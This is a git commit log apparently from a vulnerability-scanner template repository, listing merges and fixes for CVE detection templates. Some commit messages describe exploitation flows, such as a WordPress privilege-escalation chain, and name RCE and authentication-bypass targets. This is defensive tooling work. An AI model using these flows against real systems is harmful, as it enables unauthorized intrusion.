Compare commits

..
796 Commits
Author SHA1 Message Date
Prince Chaddha 83234ce456 updated workflows 2026-08-03 13:55:24 +07:00
ghost 2c6b2e1482 chore: generate templates checksum 🤖 2026-08-03 05:36:58 +00:00
ghost 3e6c29e1e0 chore: generate new addition list 🤖 2026-08-03 05:35:11 +00:00
ghost 560930671c chore: sign templates 🤖 2026-08-03 05:34:25 +00:00
Dhiyaneshwaran 9cd0e3071d Merge pull request #16714 from rxerium/add-product-detection-coverage
Add product detection templates
2026-08-03 11:04:03 +05:30
ghost e4591da0eb chore: generate templates checksum 🤖 2026-08-03 05:04:22 +00:00
ghost db128d7542 chore: sign templates 🤖 2026-08-03 05:01:52 +00:00
Roberto Nunes c92808f53e Merge pull request #16731 from daffainfo/patch-603914
Rename Wix-detect.yaml to wix-detect.yaml
2026-08-03 14:01:33 +09:00
ghost 470882de1d chore: generate templates checksum 🤖 2026-08-03 04:48:17 +00:00
github-actions[bot] 88e9a068ad chore: add impact and remediation fields 🤖 2026-08-03 04:46:25 +00:00
ghost 776c70ef32 chore: sign templates 🤖 2026-08-03 04:45:40 +00:00
ghost 4056b97bd5 chore: generate CVEs metadata 🤖 2026-08-03 04:45:36 +00:00
Roberto Nunes e72d3628d6 Merge pull request #16730 from daffainfo/patch-446759
Rename CVE file to match naming convention
2026-08-03 13:45:19 +09:00
Roberto Nunes c2d915edcb Merge pull request #16682 from gotr00t0day/main
Update CVE-2026-63030.yaml
2026-08-03 13:44:50 +09:00
Roberto Nunes af5209508e Merge pull request #16704 from shreyas-malhotra/patch-3
fix(CVE-2025-32969): remove incorrect content_type matcher
2026-08-03 13:44:45 +09:00
Roberto Nunes a8b62d8e46 improve for matching old & new instances 2026-08-03 13:40:30 +09:00
ghost 3d6fc9ff28 chore: generate templates checksum 🤖 2026-08-03 04:39:36 +00:00
Muhammad Daffa ca8e67f555 Rename Wix-detect.yaml to wix-detect.yaml 2026-08-03 11:39:13 +07:00
Roberto Nunes 61b7661142 avoid weak matcher & FP 2026-08-03 13:39:06 +09:00
Muhammad Daffa 4704a86e10 Rename CVE file to match naming convention 2026-08-03 11:38:20 +07:00
Roberto Nunes de9be20073 Update rubrik-panel.yaml 2026-08-03 13:38:15 +09:00
ghost efaba81ff3 chore: sign templates 🤖 2026-08-03 04:37:26 +00:00
ghost 2a33182c7f chore: generate new addition list 🤖 2026-08-03 04:37:22 +00:00
Roberto Nunes 0abd1388a4 Merge pull request #16703 from righettod/airflow_upd
Refactor the "AIRFLOW" template.
2026-08-03 13:37:06 +09:00
ghost a62e405de8 chore: generate CVEs metadata 🤖 2026-08-03 04:36:47 +00:00
ghost 4a88fc819b chore: sign templates 🤖 2026-08-03 04:36:45 +00:00
Roberto Nunes 87d83db80d Merge pull request #16728 from projectdiscovery/CVE-2025-6389
CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
2026-08-03 13:36:17 +09:00
Akokonunes 071171a2b6 Move abb-ability-genix-detect to technologies
The template is a product/technology fingerprint (tags: tech), not an
exposed login panel, so http/technologies/ is the correct location.
2026-08-03 13:33:54 +09:00
Dhiyaneshwaran 903f8df00d Merge branch 'main' into main 2026-08-03 10:02:20 +05:30
ghost 4364d39380 chore: update KEV and vKEV tags and metadata 🤖 2026-08-03 04:14:27 +00:00
ghost 829fe97549 chore: generate templates checksum 🤖 2026-08-03 04:04:24 +00:00
ghost 69d286e114 chore: generate new addition list 🤖 2026-08-03 04:02:34 +00:00
ghost 2ea7f91fd9 chore: generate CVEs metadata 🤖 2026-08-03 04:01:59 +00:00
ghost 451ea21237 chore: sign templates 🤖 2026-08-03 04:01:52 +00:00
Aman Rawat 984c74d51c Merge pull request #16727 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-60004.yaml - Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
2026-08-03 09:31:30 +05:30
Dhiyaneshwaran ca770916f2 Merge branch 'main' into patch-3 2026-08-03 09:31:24 +05:30
Dhiyaneshwaran 953bbcaf40 Update CVE-2025-32969.yaml 2026-08-02 21:00:33 -07:00
Dhiyaneshwaran bec6c83dd8 CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func 2026-08-02 20:43:18 -07:00
ghost b1d25fc0e9 chore: update EPSS scores 🤖 2026-08-03 03:00:43 +00:00
Roberto Nunes 28697f8683 Update CVE-2026-60004.yaml with new request flows 2026-08-03 10:21:15 +09:00
Roberto Nunes 782d12da6b Add CVE-2026-60004 vulnerability details
CVE-2026-60004 describes a critical remote code execution vulnerability in Gitea versions 1.17 through 1.27.0. The YAML file includes details about the vulnerability, its impact, remediation steps, and a flow for exploiting the vulnerability.
2026-08-03 10:14:19 +09:00
ghost 38e315e254 chore: generate new addition list 🤖 2026-08-03 00:24:00 +00:00
ghost 9ebb5a6b15 chore: generate CVEs metadata 🤖 2026-08-03 00:23:11 +00:00
Roberto Nunes 4cb19954b3 Merge pull request #16713 from projectdiscovery/CVE-2019-14793
Create CVE-2019-14793.yaml (Passive)
2026-08-03 09:22:53 +09:00
ghost c052027a62 chore: generate new addition list 🤖 2026-08-03 00:22:16 +00:00
ghost ebc4b95cf6 chore: generate new addition list 🤖 2026-08-03 00:22:06 +00:00
ghost 88d79966b0 chore: generate CVEs metadata 🤖 2026-08-03 00:21:41 +00:00
Roberto Nunes ad3141bc4d Merge pull request #16129 from projectdiscovery/pussycat0x-patch-26
Create CVE-2025-2505.yaml
2026-08-03 09:21:18 +09:00
Roberto Nunes 703c566a42 Merge pull request #16583 from iamatownboy/add-cve-2026-30623-litellm
Add CVE-2026-30623 LiteLLM MCP Stdio Command Injection template
2026-08-03 09:21:01 +09:00
Roberto Nunes 4940c97c7a Merge pull request #16706 from daffainfo/patch-158005
Update htaccess-config.yaml with new paths
2026-08-03 09:20:53 +09:00
ghost f5a1370a5c chore: update EPSS scores 🤖 2026-08-02 03:00:19 +00:00
Rishi e8a771ba12 Merge branch 'main' into add-product-detection-coverage 2026-08-01 19:28:51 +01:00
ghost 1532cc9ca1 chore: generate templates checksum 🤖 2026-08-01 10:05:53 +00:00
ghost b6b8d31dee chore: generate new addition list 🤖 2026-08-01 10:03:41 +00:00
ghost 64e1e8adb4 chore: sign templates 🤖 2026-08-01 10:03:16 +00:00
pussycat0x ade4713391 Merge pull request #16581 from Th3l0newolf/ubuntu-phase-4-CIS
Ubuntu CIS Phase 4 Templates
2026-08-01 15:32:46 +05:30
rxerium 93c25eaf1e feat: add product detection templates 2026-08-01 09:05:33 +01:00
Ritik Chaddha 460377a98a Create CVE-2019-14793.yaml 2026-08-01 12:41:40 +07:00
ghost e3b1b785e6 chore: update KEV and vKEV tags and metadata 🤖 2026-08-01 04:09:25 +00:00
ghost 84cf2b9047 chore: update EPSS scores 🤖 2026-08-01 03:00:34 +00:00
ghost 8dd4ae74ca chore: generate templates checksum 🤖 2026-07-31 15:14:17 +00:00
ghost f28a882a5f chore: generate new addition list 🤖 2026-07-31 15:13:01 +00:00
ghost 0b590c4e2d chore: sign templates 🤖 2026-07-31 15:10:33 +00:00
ghost 8bb5d616c0 chore: generate CVEs metadata 🤖 2026-07-31 15:10:19 +00:00
Aman Rawat eeb94eb2c3 Merge pull request #16561 from segfault-myass/CVE-2026-55450
Add CVE 2026 55450 Langflow Unauthenticated File Upload
2026-07-31 20:40:01 +05:30
Aman Rawat 45e8665187 Update htaccess-config.yaml 2026-07-31 20:36:29 +05:30
Aman Rawat a9ebc948f6 Update CVE-2026-55450.yaml 2026-07-31 20:35:48 +05:30
pussycat0x db6592cfee Update CVE-2026-55450.yaml 2026-07-31 18:17:28 +05:30
pussycat0x 6451c4919a minor -changes 2026-07-31 17:55:46 +05:30
Muhammad Daffa 41445b22c7 Update htaccess-config.yaml with new paths 2026-07-31 16:09:34 +07:00
ghost fb3de8de47 chore: generate templates checksum 🤖 2026-07-31 06:36:02 +00:00
ghost f63f4e5339 chore: generate new addition list 🤖 2026-07-31 06:33:55 +00:00
ghost d5f9cdc15a chore: sign templates 🤖 2026-07-31 06:33:17 +00:00
pussycat0x eb394f8f18 Merge pull request #16701 from shadowhunter-92/add-claude-code-settings-detector
Add Claude Code project settings exposure detector (.claude/settings.json, .mcp.json)
2026-07-31 12:02:52 +05:30
ghost 37c1f4655e chore: generate templates checksum 🤖 2026-07-31 06:11:37 +00:00
ghost e8668a4e8d chore: generate new addition list 🤖 2026-07-31 06:09:49 +00:00
ghost 1914bcc243 chore: sign templates 🤖 2026-07-31 06:09:02 +00:00
ghost 1eab5fb678 chore: generate CVEs metadata 🤖 2026-07-31 06:08:57 +00:00
Aman Rawat 19e3c23e0e Merge pull request #16693 from projectdiscovery/pussycat0x-patch-25
Create CVE-2025-68493.yaml
2026-07-31 11:38:33 +05:30
ghost 085fc08c91 chore: update KEV and vKEV tags and metadata 🤖 2026-07-31 04:09:44 +00:00
ghost e0b8ee64a4 chore: update EPSS scores 🤖 2026-07-31 03:00:44 +00:00
Shreyas Malhotra 5472a52b65 Clean up comments in CVE-2025-32969.yaml
Removed comments regarding Content-Type handling in the REST endpoint.
2026-07-31 01:49:56 +05:30
Shreyas Malhotra dc0d8d72a7 fix(CVE-2025-32969): remove incorrect content_type matcher
The XWiki REST API returns Content-Type: application/xml, not
text/javascript. The text/javascript value only appears in the
Content-Script-Type header, which nuclei's content_type DSL
variable does not read.

This caused the template to never fire
despite the vulnerability being present and the other three
matchers passing.

Removed the broken condition; the remaining
three matchers (duration>=7, status_code==200, body contents)
are sufficient for unambiguous detection.
2026-07-31 00:47:35 +05:30
Dominique RIGHETTO 0b8847f51e Fix formatting of condition in airflow-detect.yaml 2026-07-30 18:25:25 +02:00
Dominique RIGHETTO 22172ecc81 Enhance airflow-detect.yaml with new details
Updated author, added description, and modified matchers.
2026-07-30 18:16:32 +02:00
Dhiyaneshwaran b2dc993e83 Refactor matchers in CVE-2026-63030.yaml 2026-07-30 17:09:38 +05:30
Dhiyaneshwaran 07b897f692 Delete http/exposures/tokens/anthropic/anthropic-api-key.yaml 2026-07-30 17:08:17 +05:30
Dhiyaneshwaran 36e3a02cdd Refactor Claude settings exposure configuration
Removed unnecessary HTTP settings and regex extractors, and updated matchers.
2026-07-30 17:06:17 +05:30
ghost 6a937552e9 chore: generate templates checksum 🤖 2026-07-30 11:33:26 +00:00
ghost 1dac00658c chore: generate new addition list 🤖 2026-07-30 11:31:34 +00:00
ghost fa878b5527 chore: sign templates 🤖 2026-07-30 11:30:50 +00:00
ghost 0a90950aae chore: generate CVEs metadata 🤖 2026-07-30 11:30:45 +00:00
Dhiyaneshwaran 19f4659cc3 Merge pull request #16696 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-65694.yaml - Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read
2026-07-30 17:00:30 +05:30
ghost 2571c3cb4e chore: generate templates checksum 🤖 2026-07-30 10:32:22 +00:00
ghost e698565fa8 chore: generate new addition list 🤖 2026-07-30 10:30:23 +00:00
ghost 4130941b9f chore: sign templates 🤖 2026-07-30 10:29:44 +00:00
ghost 82e6d890a5 chore: generate CVEs metadata 🤖 2026-07-30 10:29:40 +00:00
Roberto Nunes 7112c1b6c1 Merge pull request #16691 from projectdiscovery/CVE-2025-71334
CVE-2025-71334 - Flowise - Path Traversal
2026-07-30 19:29:21 +09:00
shadowhunter-92 4ca8eb413f Add Claude Code project settings exposure detector 2026-07-30 12:49:04 +05:00
shadowhunter-92 6ad76784a0 Move settings-exposure template to dedicated branch 2026-07-30 12:49:00 +05:00
shadowhunter-92 a64941c8dc Add Claude Code project settings exposure detector 2026-07-30 12:47:15 +05:00
shadowhunter-92 799c7da1b8 Fix author line to match GitHub username 2026-07-30 12:32:12 +05:00
shadowhunter-92 a32cc8c57a Add Anthropic API key exposure detector 2026-07-30 12:28:25 +05:00
ghost d9cdda7e7a chore: generate templates checksum 🤖 2026-07-30 07:22:48 +00:00
ghost 5f5fe47c31 chore: generate new addition list 🤖 2026-07-30 07:20:42 +00:00
ghost 13cbb0459d chore: sign templates 🤖 2026-07-30 07:19:55 +00:00
ghost 8cfbb800c5 chore: generate CVEs metadata 🤖 2026-07-30 07:19:52 +00:00
pussycat0x fea8458e6e Merge pull request #16043 from tx1ee/add-CVE-2025-54988-tika-xxe
Add CVE-2025-54988: Apache Tika XXE Injection
2026-07-30 12:49:35 +05:30
ghost 44278497a7 chore: generate templates checksum 🤖 2026-07-30 07:05:32 +00:00
ghost 1270fd5d29 chore: sign templates 🤖 2026-07-30 07:03:02 +00:00
pussycat0x 1be9adfe5a Merge pull request #16668 from DPS0340/fix/thinkphp6-status-code-2
fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
2026-07-30 12:32:41 +05:30
pussycat0x 1c5024730f Update CVE-2025-54988.yaml 2026-07-30 12:29:55 +05:30
pussycat0x 7440dd52f9 Update thinkphp6-arbitrary-write.yaml 2026-07-30 12:13:51 +05:30
ghost 9cba21fc41 chore: update KEV and vKEV tags and metadata 🤖 2026-07-30 04:02:34 +00:00
ghost 66442328eb chore: update EPSS scores 🤖 2026-07-30 02:59:45 +00:00
Roberto Nunes b95ebd83d1 Update CVE-2026-65694 author information 2026-07-30 10:39:26 +09:00
Roberto Nunes f21e699d6d Create CVE-2026-65694.yaml 2026-07-30 10:37:04 +09:00
pussycat0x 0a103f12ed Create CVE-2025-68493.yaml 2026-07-29 17:58:27 +05:30
Aman Rawat ee3bf60642 Create CVE-2025-71334.yaml 2026-07-29 15:50:52 +05:30
ghost 9979ce144c chore: generate templates checksum 🤖 2026-07-29 07:26:32 +00:00
ghost 85a8ba620e chore: generate new addition list 🤖 2026-07-29 07:24:42 +00:00
ghost 801484a1cc chore: generate CVEs metadata 🤖 2026-07-29 07:24:00 +00:00
ghost 3735f0f595 chore: sign templates 🤖 2026-07-29 07:23:52 +00:00
pussycat0x 607adada97 Merge pull request #16650 from iamatownboy/pr/cve-2026-4987
Add CVE-2026-4987 SureForms payment bypass template
2026-07-29 12:53:30 +05:30
ghost ab255c7216 chore: generate templates checksum 🤖 2026-07-29 07:01:45 +00:00
ghost ed5b0bd805 chore: generate new addition list 🤖 2026-07-29 07:00:37 +00:00
ghost 7c4a20d1c6 chore: generate CVEs metadata 🤖 2026-07-29 06:59:29 +00:00
ghost 713694365e chore: sign templates 🤖 2026-07-29 06:59:25 +00:00
Ritik Chaddha 795f5f4286 Merge pull request #16678 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-49952.yaml - Discuz! X5.0 - Authentication Bypass via UC_KEY Encryption Oracle
2026-07-29 13:59:06 +07:00
ghost b5cc88b9f0 chore: generate new addition list 🤖 2026-07-29 06:57:34 +00:00
ghost dbe0ddc780 chore: generate CVEs metadata 🤖 2026-07-29 06:56:48 +00:00
ghost 6940c3d7d6 chore: sign templates 🤖 2026-07-29 06:56:43 +00:00
Dhiyaneshwaran 26ff686384 Merge pull request #16684 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-44825.yaml - Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
2026-07-29 12:26:22 +05:30
Dhiyaneshwaran 0797f90893 Refine CVE-2026-44825 details and structure
Updated the CVE description for clarity and removed redundant matchers and extractors.
2026-07-29 12:21:33 +05:30
ghost 0703e486d8 chore: generate templates checksum 🤖 2026-07-29 06:45:36 +00:00
Dhiyaneshwaran f1f0c3f000 Merge pull request #16687 from daffainfo/patch-352621
Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml
2026-07-29 12:12:26 +05:30
ghost ee41e20d73 chore: generate templates checksum 🤖 2026-07-29 05:41:26 +00:00
Aman Rawat 1193722382 Merge pull request #16686 from daffainfo/patch-552922
Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml
2026-07-29 11:08:50 +05:30
Aman Rawat a8958a2bef Merge pull request #16680 from daffainfo/patch-709746
Delete http/exposures/configs/config-json.yaml
2026-07-29 11:08:21 +05:30
ghost d2a6ae1020 chore: generate templates checksum 🤖 2026-07-29 05:35:01 +00:00
ghost c46bc27d57 chore: generate new addition list 🤖 2026-07-29 05:33:12 +00:00
ghost 32d7aff472 chore: generate new addition list 🤖 2026-07-29 05:32:58 +00:00
ghost fa0dcc582f chore: generate CVEs metadata 🤖 2026-07-29 05:32:23 +00:00
ghost 3052255b67 chore: sign templates 🤖 2026-07-29 05:32:18 +00:00
Ritik Chaddha d97bbbf192 Merge pull request #16652 from iamatownboy/pr/cve-2026-39468
Add CVE-2026-39468 Meta Box template
2026-07-29 12:31:59 +07:00
Ritik Chaddha 722e1cda9a Merge pull request #16660 from y0no/add-dolibarr-cve-2026-34036
Create CVE-2026-34036.yaml
2026-07-29 12:31:51 +07:00
ghost 151af53dd5 chore: generate templates checksum 🤖 2026-07-29 05:29:55 +00:00
Ritik Chaddha 6d5b1e16d6 Update CVE-2026-49952.yaml 2026-07-29 12:28:06 +07:00
ghost cc3d3b9bbe chore: sign templates 🤖 2026-07-29 05:27:44 +00:00
Ritik Chaddha adcb49aba1 Merge pull request #16672 from munzzyy/fix/nfs-v3-exposed-accept-stat
Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
2026-07-29 12:27:25 +07:00
ghost 8a4884de10 chore: sign templates 🤖 2026-07-29 05:27:17 +00:00
Ritik Chaddha d75b5a7474 Merge pull request #16667 from DPS0340/fix/portal-api-ssrf-interactsh-part
fix(portal-api-ssrf): extractor part is interactsh_request, not interactsh
2026-07-29 12:26:56 +07:00
Ritik Chaddha b1137e7cc6 Update CVE-2026-34036.yaml 2026-07-29 12:26:17 +07:00
Ritik Chaddha 51962e9186 Update CVE-2026-39468.yaml 2026-07-29 12:25:22 +07:00
ghost 90c00ab062 chore: generate templates checksum 🤖 2026-07-29 05:05:14 +00:00
ghost 14ee8805c9 chore: generate new addition list 🤖 2026-07-29 05:02:47 +00:00
ghost c99d355aa4 chore: sign templates 🤖 2026-07-29 05:02:25 +00:00
ghost dc6dfa85fc chore: generate CVEs metadata 🤖 2026-07-29 05:02:22 +00:00
Roberto Nunes c7cf4002e4 Merge pull request #16685 from daffainfo/patch-357248
Rename filename CVE-2021-45046 to CVE-2021-45046-DAST
2026-07-29 14:02:04 +09:00
Roberto Nunes f6028603c6 Merge pull request #16688 from daffainfo/patch-558923
Fix id + filename for IBM DB2 Server
2026-07-29 14:01:47 +09:00
Roberto Nunes b3cfbb1292 Merge pull request #16689 from projectdiscovery/CVE-2026-16232-js
Update tags in CVE-2026-16232.yaml
2026-07-29 14:01:39 +09:00
Dhiyaneshwaran 54d2474ef1 Update tags in CVE-2026-16232.yaml 2026-07-29 10:23:46 +05:30
Muhammad Daffa f88d95539d Fix id + filename for IBM DB2 Server 2026-07-29 10:19:10 +07:00
Muhammad Daffa 8864a7ffa2 Delete http/vulnerabilities/other/geovision-geowebserver-lfi.yaml 2026-07-29 10:11:34 +07:00
Muhammad Daffa 8d73a422a9 Delete http/vulnerabilities/other/geovision-geowebserver-xss.yaml 2026-07-29 10:11:07 +07:00
ghost de1ab28cf2 chore: update EPSS scores 🤖 2026-07-29 03:00:02 +00:00
ghost b001404514 chore: generate templates checksum 🤖 2026-07-29 02:51:26 +00:00
Muhammad Daffa 5784514e5a Add CVE-2021-45046 DAST configuration file 2026-07-29 09:50:41 +07:00
ghost e0a5f09d68 chore: sign templates 🤖 2026-07-29 02:48:52 +00:00
Roberto Nunes 805eca6246 Merge pull request #16671 from DPS0340/fix/cve-2025-2075-setup-matchers
fix(CVE-2025-2075): mark the setup-stage matchers internal
2026-07-29 11:48:27 +09:00
ghost 31336d0784 chore: generate templates checksum 🤖 2026-07-29 02:46:09 +00:00
ghost 53b01f8375 chore: generate new addition list 🤖 2026-07-29 02:44:12 +00:00
ghost bc1123e5ae chore: sign templates 🤖 2026-07-29 02:43:36 +00:00
ghost d5a46b2c44 chore: generate CVEs metadata 🤖 2026-07-29 02:43:29 +00:00
Roberto Nunes 10be6474a4 Merge pull request #16675 from mbmy/patch-1
fix intrusive tag typo in CVE-2023-34124.yaml
2026-07-29 11:43:15 +09:00
Roberto Nunes 08c7708abd Merge pull request #16683 from projectdiscovery/CVE-2026-16232
CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass
2026-07-29 11:43:06 +09:00
Roberto Nunes 0d4679943d Add CVE-2026-44825 for Apache Solr vulnerability
Added CVE-2026-44825 for Apache Solr hardcoded credentials vulnerability, detailing severity, impact, remediation, and references.
2026-07-29 10:21:36 +09:00
Dhiyaneshwaran dc057b1a13 CVE-2026-16232 - Check Point Security Management Server - SmartConsole Authentication Bypass 2026-07-29 03:03:07 +05:30
gotr00t0day 33ef3e672d Update CVE-2026-63030.yaml 2026-07-28 16:11:11 -04:00
Muhammad Daffa 89aa76be77 Delete http/exposures/configs/config-json.yaml 2026-07-28 18:42:01 +07:00
ghost 3887f9deba chore: generate templates checksum 🤖 2026-07-28 10:50:09 +00:00
ghost fd7b8cae9d chore: sign templates 🤖 2026-07-28 10:49:23 +00:00
Dhiyaneshwaran e0e3714613 Merge pull request #16669 from DPS0340/fix/unconsumed-internal-extractors
fix: unhide two extractors that nothing consumes
2026-07-28 16:19:00 +05:30
Dhiyaneshwaran a1509fe5bb Update CVE-2026-4987.yaml 2026-07-28 16:18:40 +05:30
ghost 31ff84e435 chore: sign templates 🤖 2026-07-28 10:47:00 +00:00
Dhiyaneshwaran f68333ddb2 Merge pull request #16664 from DPS0340/fix/code-template-unsupported-lookahead
fix: replace an unsupported lookahead that made home-env-permission fail to load
2026-07-28 16:16:33 +05:30
Dhiyaneshwaran 20a233b85e Merge branch 'main' into fix/unconsumed-internal-extractors 2026-07-28 16:14:38 +05:30
ghost 648d5e4c5a chore: sign templates 🤖 2026-07-28 10:44:04 +00:00
Dhiyaneshwaran 12a5f7c5b8 Merge pull request #16677 from rxerium/add-arista-velocloud-favicon
add Arista VeloCloud favicon hash to favicon-detect
2026-07-28 16:13:37 +05:30
pussycat0x 0a897c3c59 Update portal-api-ssrf.yaml 2026-07-28 11:35:41 +05:30
ghost c9097bc88f chore: generate templates checksum 🤖 2026-07-28 05:45:07 +00:00
ghost 2fa409975f chore: generate new addition list 🤖 2026-07-28 05:43:39 +00:00
ghost 55b5cebcc6 chore: generate CVEs metadata 🤖 2026-07-28 05:43:17 +00:00
ghost f18f58e0f4 chore: generate new addition list 🤖 2026-07-28 05:43:07 +00:00
pussycat0x 1b12bdb737 Merge pull request #16649 from iamatownboy/pr/cve-2026-3335
Add CVE-2026-3335 Canto template
2026-07-28 11:12:53 +05:30
ghost 4682b3e13d chore: generate CVEs metadata 🤖 2026-07-28 05:42:42 +00:00
ghost 39435de889 chore: sign templates 🤖 2026-07-28 05:42:32 +00:00
pussycat0x 680c7d94ae Merge pull request #16657 from ywh-jfellus/ywh-CVE-2026-9192
add template for CVE-2026-9198 - IBM Langflow Unauthenticated RCE via Auto-Login Bypass
2026-07-28 11:12:13 +05:30
ghost 3f89dd7143 chore: generate templates checksum 🤖 2026-07-28 05:38:05 +00:00
ghost 1779194bd8 chore: generate new addition list 🤖 2026-07-28 05:37:25 +00:00
ghost d67d769f2e chore: generate CVEs metadata 🤖 2026-07-28 05:36:55 +00:00
ghost a825b9a4b7 chore: sign templates 🤖 2026-07-28 05:36:51 +00:00
pussycat0x 73f1338d0f Merge pull request #16647 from iamatownboy/pr/cve-2026-1830
Add CVE-2026-1830 Quick Playground template
2026-07-28 11:06:30 +05:30
ghost 904ebe89f2 chore: generate new addition list 🤖 2026-07-28 05:36:04 +00:00
ghost 166eb7da81 chore: sign templates 🤖 2026-07-28 05:35:16 +00:00
pussycat0x f7a2085c8c Merge pull request #16644 from iamatownboy/pr/cve-2025-14047
Add CVE-2025-14047 WPUF template
2026-07-28 11:04:55 +05:30
Dhiyaneshwaran db00bc1748 Update CVE-2026-4987.yaml 2026-07-28 11:04:52 +05:30
Dhiyaneshwaran 7689cfeb65 Update CVE-2026-3335.yaml 2026-07-28 10:19:14 +05:30
Rishi 7e87d44c05 Merge branch 'main' into add-arista-velocloud-favicon 2026-07-28 05:48:38 +01:00
rxerium 389176e67d fix: keep only Arista VeloCloud /favicon.ico hash in favicon-detect
Drop 2022473497 (/vco/favicon) — favicon-detect only requests /favicon.ico and /images/favicon.ico. Keep -2062596654, which matches VCO UI and Edge Activation hosts.
2026-07-28 05:48:06 +01:00
Roberto Nunes a30816f113 Create CVE-2026-49952.yaml 2026-07-28 13:43:14 +09:00
ghost d45959218d chore: update KEV and vKEV tags and metadata 🤖 2026-07-28 04:03:07 +00:00
ghost 513833aeab chore: update EPSS scores 🤖 2026-07-28 02:59:43 +00:00
rxerium cbad62c898 add Arista VeloCloud favicon hashes to favicon-detect
Add mmh3 hashes 2022473497 (/vco/favicon) and -2062596654 (/favicon.ico) for Arista VeloCloud / VMware SD-WAN Orchestrator and Edge detection.
2026-07-28 03:47:08 +01:00
Dhiyaneshwaran db27779e0d Enhance CVE-2026-1830 details in YAML file
Updated the CVE-2026-1830 YAML file to provide more detailed information about the vulnerability, including specific endpoints and conditions for exploitation.
2026-07-28 03:31:09 +05:30
Michael Young 64fedb29c8 fix intrusive tag typo in CVE-2023-34124.yaml 2026-07-27 17:55:36 -04:00
ghost 4924c84cac chore: generate templates checksum 🤖 2026-07-27 13:09:46 +00:00
ghost 236007a14e chore: generate new addition list 🤖 2026-07-27 13:07:46 +00:00
ghost 1a43f013d4 chore: sign templates 🤖 2026-07-27 13:07:06 +00:00
ghost 92ad7bd49a chore: generate CVEs metadata 🤖 2026-07-27 13:06:59 +00:00
Roberto Nunes a912077984 Merge pull request #16631 from stopic-lab/stopic-lab-patch-1
Added CVE-2026-8713: Avada Builder Arbitrary File Deletion
2026-07-27 22:06:41 +09:00
ghost a136f24522 chore: generate templates checksum 🤖 2026-07-27 13:04:28 +00:00
ghost 3c2ea92c12 chore: sign templates 🤖 2026-07-27 13:02:28 +00:00
Roberto Nunes 6cad0fb533 Merge pull request #16454 from ashvinctrl/fix-mongodb-unauth-opmsg
fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
2026-07-27 22:02:07 +09:00
ghost 94c4593fb9 chore: sign templates 🤖 2026-07-27 13:01:50 +00:00
Roberto Nunes cf5f25c599 Merge pull request #16665 from DPS0340/fix/regex-extractor-capture-groups
fix: add the missing capture group to three regex extractors
2026-07-27 22:01:27 +09:00
Dhiyaneshwaran bc70089e09 Update CVE-2025-14047.yaml 2026-07-27 18:16:35 +05:30
Jiho Lee 8bb1853668 fix: unhide two extractors that nothing consumes 2026-07-27 15:44:37 +09:00
Aman Rawat 450c0c070b Update oracle-containers-panel.yaml 2026-07-27 11:51:54 +05:30
Aman Rawat 45c50aaad8 Update springboot-x-application-context.yaml 2026-07-27 11:50:19 +05:30
Aman Rawat 711f03e60e Update CVE-2026-34036.yaml 2026-07-27 11:48:48 +05:30
Aman Rawat 345cfba933 Update CVE-2026-9198.yaml 2026-07-27 11:14:21 +05:30
Aman Rawat aa597c3b57 Update CVE-2026-39468.yaml 2026-07-27 10:55:40 +05:30
Aman Rawat bfdfdab420 Update mongodb-unauth.yaml 2026-07-27 10:37:49 +05:30
Aman Rawat d97be8aec8 Updated to passive detection to avoid deletion 2026-07-27 09:59:39 +05:30
ghost 4ccef9ea7c chore: generate templates checksum 🤖 2026-07-27 04:19:26 +00:00
ghost dfcf3eecfb chore: sign templates 🤖 2026-07-27 04:16:57 +00:00
Dhiyaneshwaran fbabe1c460 Merge pull request #16661 from projectdiscovery/fix-empty-operators
fix empty operators
2026-07-27 09:46:32 +05:30
ghost f0b5f4bdc4 chore: update EPSS scores 🤖 2026-07-27 03:01:04 +00:00
Cole Munz 6bb051f090 Fix nfs-v3-exposed matching PROG_UNAVAIL as a valid hit
Reported in #16662. The binary matcher checks XID, REPLY, MSG_ACCEPTED
and the AUTH_NONE verifier, but stops before accept_stat even though the
comment claims it checks SUCCESS. So an RPC reply that was accepted but
unsuccessful - most often PROG_UNAVAIL from a portmapper or a host where
NFS isn't registered on that port - still matches as an exposed NFSv3
service.

Appended the missing accept_stat=SUCCESS(0) four bytes so the matcher
checks what the comment already said. Verified against the reporter's
captured bytes: the PROG_UNAVAIL response ends in accept_stat 00000001,
which no longer satisfies the pattern, while a real SUCCESS reply still
matches.

Signed-off-by: Cole Munz <[email protected]>
2026-07-26 21:34:29 -05:00
Jiho Lee 6d5af18ddf fix(CVE-2025-2075): mark the setup-stage matchers internal
Two of the four blocks are setup for the privilege escalation -- logging in
with valid credentials, and firing the uap async_action request -- and both
carry non-internal matchers. nuclei reports every block whose matchers pass,
so an ordinary WordPress reports high-severity findings without the
vulnerable plugin being present.

Block 3 is the sharper one: the exploit POST is matched on status 200 alone,
and WordPress returns 200 with {"code":"rest_no_route"} for a REST route
that does not exist. The absence of the plugin looks identical to its
presence.

Against a WordPress that accepts the login but has no vulnerable plugin:

  before:  2 x [CVE-2025-2075] [high]  .../wp-login.php
                                        .../wp-json/uap/v2/async_action/
  after:   (nothing)

Against a host where the escalation does succeed:

  before:  3 findings (2 of them the setup blocks)
  after:   1 finding  .../wp-admin/users.php?role=administrator

The last block is untouched. It requires "Howdy," AND ">Select <username><"
on the administrators page, which is the only evidence the role actually
changed.

Same pattern CVE-2026-23696 uses for its flow stages. Chain still runs: all
4 blocks execute before and after, and the vulnerable host still reports.

nuclei -validate passes before and after.
2026-07-27 10:00:56 +09:00
Jiho Lee 19ab1a3f1f fix(thinkphp6-arbitrary-write): the dsl variable is status_code_2, not status_2
nuclei exposes per-request values as status_code_2, body_2, header_2 -- there
is no status_2. The name resolves to nothing, the dsl matcher never passes,
and because the template is matchers-condition: and, it can never fire.

Verified with nuclei built from dev against a server that mimics a vulnerable
